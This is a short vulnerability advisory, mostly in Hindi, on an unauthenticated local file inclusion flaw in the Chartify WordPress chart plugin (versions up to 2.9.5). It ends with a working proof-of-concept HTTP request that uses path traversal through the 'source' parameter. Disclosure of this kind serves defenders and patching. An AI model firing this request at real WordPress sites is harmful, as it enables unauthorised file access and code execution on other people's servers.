
Chartify – वर्डप्रेस चार्ट प्लगइन <= 2.9.5 - स्रोत के माध्यम से अप्रमाणित स्थानीय फ़ाइल समावेशन
Chartify – WordPress Chart Plugin <= 2.9.5 - 'source' पैरामीटर के माध्यम से बिना प्रमाणीकरण के स्थानीय फ़ाइल शामिल करना
WordPress के लिए Chartify – WordPress Chart Plugin प्लगइन 2.9.5 और उससे पहले के सभी संस्करणों में 'source' पैरामीटर के माध्यम से स्थानीय फ़ाइल शामिल करने (Local File Inclusion) की कमजोरी है। इससे बिना प्रमाणीकरण वाले हमलावर सर्वर पर मनमानी फाइलों को शामिल और निष्पादित कर सकते हैं, जिससे उन फाइलों में मौजूद किसी भी PHP कोड का निष्पादन संभव हो जाता है। इसका उपयोग एक्सेस नियंत्रण को बायपास करने, संवेदनशील डेटा प्राप्त करने, या उन मामलों में कोड निष्पादन प्राप्त करने के लिए किया जा सकता है जहां चित्र और अन्य "सुरक्षित" फ़ाइल प्रकार अपलोड और शामिल किए जा सकते हैं।
POST /wp-admin/admin-ajax.php?action=add&source=../../../../../../../../../../../../var/www/html/poc&type=chart-js HTTP/1.1
Host: wp.local
Content-Length: 63
Content-Type: application/x-www-form-urlencoded
action=ays_chart_admin_ajax&function=display_plugin_charts_page